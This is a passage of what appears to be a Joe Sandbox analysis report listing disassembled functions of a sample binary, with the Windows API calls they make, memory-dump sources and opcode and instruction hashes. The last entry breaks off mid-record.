                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID:
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID:
                                                                                                                                                        • Opcode ID: 9e76feb55238aef6f2104d7f35b4c35741b7a6e088d7c6c091e67f68abddc892
                                                                                                                                                        • Instruction ID: 2f9037820b394be1e4ae2b76225fbeb37650398b16761fd1846ea254c911a48f
                                                                                                                                                        • Opcode Fuzzy Hash: 9e76feb55238aef6f2104d7f35b4c35741b7a6e088d7c6c091e67f68abddc892
                                                                                                                                                        • Instruction Fuzzy Hash: 57023D71E0011A9BDF14CFA9C990BADB7F1EF49324F29426DD919E7384D731A9418BA0
                                                                                                                                                        Function 00DAFD34 Relevance: 3.1, APIs: 2, Instructions: 51COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        • GetLocaleInfoW.KERNEL32(00000400,0000000F,?,00000064), ref: 00DAFD6A
                                                                                                                                                        • GetNumberFormatW.KERNEL32(00000400,00000000,?,00DD9714,?,?), ref: 00DAFDB3
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: FormatInfoLocaleNumber
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID: 2169056816-0
                                                                                                                                                        • Opcode ID: ca18b28b0eef48403f1604054d0b696c170f83b277d0d259b0d79139194e597c
                                                                                                                                                        • Instruction ID: 6d6c98f834fec36d7a70ad113187218d03489efafc5bf82f6bbcd4d930d70d2b
                                                                                                                                                        • Opcode Fuzzy Hash: ca18b28b0eef48403f1604054d0b696c170f83b277d0d259b0d79139194e597c
                                                                                                                                                        • Instruction Fuzzy Hash: 11113C75221348BADB10EF60EC41FEAB7F8EF08704F00542AF606E7251D670A909C774
                                                                                                                                                        Function 00D948AA Relevance: 2.0, Strings: 1, Instructions: 776COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID:
                                                                                                                                                        • String ID: CMT
                                                                                                                                                        • API String ID: 0-2756464174
                                                                                                                                                        • Opcode ID: db476e3b0e93b4c9a70ef1b48585a087cbd43250346bd21f459200640e7f424a
                                                                                                                                                        • Instruction ID: f5412fb4d31e953145db8e3a875b26f19ef784aadecb34111bf59d421dd550fb
                                                                                                                                                        • Opcode Fuzzy Hash: db476e3b0e93b4c9a70ef1b48585a087cbd43250346bd21f459200640e7f424a
                                                                                                                                                        • Instruction Fuzzy Hash: 7362B271A01649AFDF09DF68C891BED7BA4FF19304F084179EC499B286DB30A945CBB1
                                                                                                                                                        Function 00DC86D2 Relevance: 1.8, APIs: 1, Instructions: 269COMMONLIBRARYCODE
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        • RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,00000008,?,?,00DC86CD,?,?,00000008,?,?,00DC836D,00000000), ref: 00DC88FF
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: ExceptionRaise
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID: 3997070919-0
                                                                                                                                                        • Opcode ID: a708c9ede45178e0cccdf776a8331397a5c1b643544a6974087685ad46b9119e
                                                                                                                                                        • Instruction ID: acb6dd1271aac7b5c7a6d5d8935b249a9c291041f0d215c2d8b21b927d6be765
                                                                                                                                                        • Opcode Fuzzy Hash: a708c9ede45178e0cccdf776a8331397a5c1b643544a6974087685ad46b9119e
                                                                                                                                                        • Instruction Fuzzy Hash: B6B1483161060A9FD715CF28C48AF647BE0FF45364F69865CE89ACF2A1CB35E982DB50
                                                                                                                                                        Function 00DB6694 Relevance: 1.6, APIs: 1, Instructions: 147COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        • IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 00DB66AA
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: FeaturePresentProcessor
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID: 2325560087-0
                                                                                                                                                        • Opcode ID: 393e4bc165f01fdfbe682c69ee94d330f0804af8ef2bda9cb5f6896e7a6af6ec
                                                                                                                                                        • Instruction ID: 2178848a0ddf4c5239974cd7735ca322a58b2b85113e284b432fdfda038b9d02
                                                                                                                                                        • Opcode Fuzzy Hash: 393e4bc165f01fdfbe682c69ee94d330f0804af8ef2bda9cb5f6896e7a6af6ec
                                                                                                                                                        • Instruction Fuzzy Hash: D7517BB1911305CFDB25CF59D8856AEBBF0FB54314F28846AD406EB391D779D940CB60
                                                                                                                                                        Function 00DA03BE Relevance: 1.5, APIs: 1, Instructions: 33COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        • GetVersionExW.KERNEL32(?), ref: 00DA03ED
                                                                                                                                                          • Part of subcall function 00DA0469: __EH_prolog3.LIBCMT ref: 00DA0470
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: H_prolog3Version
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID: 2775145068-0
                                                                                                                                                        • Opcode ID: 31a679f06753a60ea5668249e07d6a486429ec5fa0aa246a50171d072a3d59ea
                                                                                                                                                        • Instruction ID: 0f3b34057018fb03f17b51b0a9248767063f842fe4397f60fe5dfd1ecf0ae2d2
                                                                                                                                                        • Opcode Fuzzy Hash: 31a679f06753a60ea5668249e07d6a486429ec5fa0aa246a50171d072a3d59ea
                                                                                                                                                        • Instruction Fuzzy Hash: 8CF081305053488AEB24EFB4EC057E87FA0BB1A748F044469D6469B292D7F8444DDB31
                                                                                                                                                        Function 00D95AFE Relevance: 1.5, Strings: 1, Instructions: 283COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID:
                                                                                                                                                        • String ID: gj
                                                                                                                                                        • API String ID: 0-4203073231
                                                                                                                                                        • Opcode ID: f797f798738fe419791800bc163ac749f0aaf4db1baca1079694aedf545223b1
                                                                                                                                                        • Instruction ID: dba36648956a4f53ef90e638b6447850051ccad41c257cd68c554492d933dfdc
                                                                                                                                                        • Opcode Fuzzy Hash: f797f798738fe419791800bc163ac749f0aaf4db1baca1079694aedf545223b1
                                                                                                                                                        • Instruction Fuzzy Hash: D1D112B2A183458FC354CF29D88065AFBE2BFC9308F59492EE998D7301D734A945CF92
                                                                                                                                                        Function 00DB6A0B Relevance: 1.5, APIs: 1, Instructions: 3COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        • SetUnhandledExceptionFilter.KERNEL32(Function_00026A20,00DB6445), ref: 00DB6A10
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: ExceptionFilterUnhandled
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID: 3192549508-0
                                                                                                                                                        • Opcode ID: bf175fcdbdad755d9bb1aa19055f1573ab2ee9ee1fd9282e70cb70c34516759d
                                                                                                                                                        • Instruction ID: 42a89135bad05975e499461dffa6d8e28c0046a68d837ee3010818106922e467
                                                                                                                                                        • Opcode Fuzzy Hash: bf175fcdbdad755d9bb1aa19055f1573ab2ee9ee1fd9282e70cb70c34516759d
                                                                                                                                                        • Instruction Fuzzy Hash:
                                                                                                                                                        Function 00DC2CE0 Relevance: 1.3, APIs: 1, Instructions: 5memoryCOMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: HeapProcess
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID: 54951025-0
                                                                                                                                                        • Opcode ID: cd1d095e0a88849d4097752ca15d0834251e33a2adb5d92cce71ab5196b7abc1
                                                                                                                                                        • Instruction ID: 5217713bfce672693fe58588783179248d7f1ba3e86770c06c5110a022c98e68
                                                                                                                                                        • Opcode Fuzzy Hash: cd1d095e0a88849d4097752ca15d0834251e33a2adb5d92cce71ab5196b7abc1
                                                                                                                                                        • Instruction Fuzzy Hash: 66A011302023028FAB00AF32AA0820A3AA8AA002C03088028A00ACA220EA2080808A20
                                                                                                                                                        Function 00DAABC8 Relevance: 1.0, Instructions: 977COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID:
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID:
                                                                                                                                                        • Opcode ID: 3656517a269937d65cae0d8ec39795bb2ba0f8e7439345b18be7eaed4085f102
                                                                                                                                                        • Instruction ID: 336ef439dc5be1125bbf1bd13314e1bcef6c8f16b9ee6b4ec2fe3a822cc2b528
                                                                                                                                                        • Opcode Fuzzy Hash: 3656517a269937d65cae0d8ec39795bb2ba0f8e7439345b18be7eaed4085f102
                                                                                                                                                        • Instruction Fuzzy Hash: 4182E7356047858FCB29CF28C4906BABBE1AF97314F18895ED4DB8B342D735E946CB21
                                                                                                                                                        Function 00D95F39 Relevance: .9, Instructions: 899COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID:
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID:
                                                                                                                                                        • Opcode ID: 0361063d80cade92bf2b6a72c20015cbb6c057bfbc006aa5c682268b130234fd
                                                                                                                                                        • Instruction ID: 9f40f43149620edd695ec0c5df807098eae0bb81e0bb5f65844888ab58f62c7a
                                                                                                                                                        • Opcode Fuzzy Hash: 0361063d80cade92bf2b6a72c20015cbb6c057bfbc006aa5c682268b130234fd
                                                                                                                                                        • Instruction Fuzzy Hash: A6823D65D39F895EE3039A3484021E7F3A86EF71C9F46E71FF8A431526E721A6C75201
                                                                                                                                                        Function 00DAC27F Relevance: .9, Instructions: 880COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID:
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID:
                                                                                                                                                        • Opcode ID: 957e3e4f770764865b5c084bd61d322db280cc563c89754f50ffbe7270592e0c
                                                                                                                                                        • Instruction ID: 7386e05b9f11b4c35efedec31818142fc62948f194973a24e3ea983abc3d7ff4
                                                                                                                                                        • Opcode Fuzzy Hash: 957e3e4f770764865b5c084bd61d322db280cc563c89754f50ffbe7270592e0c
                                                                                                                                                        • Instruction Fuzzy Hash: 827215316143858FCB19CF6CC8906A9BBE1FF96324F18956DE89A8B346D334E945CB31
                                                                                                                                                        Function 00DA5214 Relevance: .7, Instructions: 694COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID:
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID:
                                                                                                                                                        • Opcode ID: 605082976fd6bcb660ea90b2928608d33a4af8ea1a4694150b2d300d36c2867c
                                                                                                                                                        • Instruction ID: dd02fb1bf73ebf7ad41dca22c81e61426d2f54ef2dc5fbc480e15f451387fa4a
                                                                                                                                                        • Opcode Fuzzy Hash: 605082976fd6bcb660ea90b2928608d33a4af8ea1a4694150b2d300d36c2867c
                                                                                                                                                        • Instruction Fuzzy Hash: FD524B726187018FC718CF19C891A6AF7E1FFCC304F498A2DE5969B255D334EA19CB86
                                                                                                                                                        Function 00DABC05 Relevance: .5, Instructions: 537COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID:
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID:
                                                                                                                                                        • Opcode ID: 1f180e556b878f502a9ab556764dc3af99467e10f3460ee31fa338a44ffff900
                                                                                                                                                        • Instruction ID: da8b4a954d9f4d433193eb669105db2dfe7cbc229c759a17539d0db5b65b289d
                                                                                                                                                        • Opcode Fuzzy Hash: 1f180e556b878f502a9ab556764dc3af99467e10f3460ee31fa338a44ffff900
                                                                                                                                                        • Instruction Fuzzy Hash: F012C4716147068FD728CF28C491BB9B7E0FF45314F14892EE49AC7282E778E995CB25
                                                                                                                                                        Function 00DA46CF Relevance: .3, Instructions: 330COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID:
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID:
                                                                                                                                                        • Opcode ID: 700104ed1cbb62b5eff76896a9b49e65a6e22b7ea8ddbae2677ac2ceaf217ef7
                                                                                                                                                        • Instruction ID: 0c1a21e1a196267893deaa10db66b924b511dc0d3294c0061fb31ef66378739f
                                                                                                                                                        • Opcode Fuzzy Hash: 700104ed1cbb62b5eff76896a9b49e65a6e22b7ea8ddbae2677ac2ceaf217ef7
                                                                                                                                                        • Instruction Fuzzy Hash: EAE149B45083948FC344DF29D88447ABBE0BF99300F46095EF9E49B352D335EA16DBA2
                                                                                                                                                        Function 00DAA222 Relevance: .3, Instructions: 279COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID:
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID:
                                                                                                                                                        • Opcode ID: 234915adb99e224931eb97946ec1822a9239fc543594f5252dd54e9eac6ece30
                                                                                                                                                        • Instruction ID: a26d35a41c30ded0da1e1af2f4cf696a6b595070f33fdf118b6ab6b26eaed091
                                                                                                                                                        • Opcode Fuzzy Hash: 234915adb99e224931eb97946ec1822a9239fc543594f5252dd54e9eac6ece30
                                                                                                                                                        • Instruction Fuzzy Hash: 2391F2712083414BDB25DF6CC894BAE77D2EB96304F140A2DF9CA8B282D7A4D985C777
                                                                                                                                                        Function 00DBC0D6 Relevance: .2, Instructions: 237COMMONLIBRARYCODE
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID:
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID:
                                                                                                                                                        • Opcode ID: f16634c4b9264c70abed99b82fc70dcefb51265c6dada10e8ab4674d81f053ef
                                                                                                                                                        • Instruction ID: 4d86b1464d7f278b3f7284b4b4cc14c30c7273ab8fb811d69e03b8b1dfe5a0e4
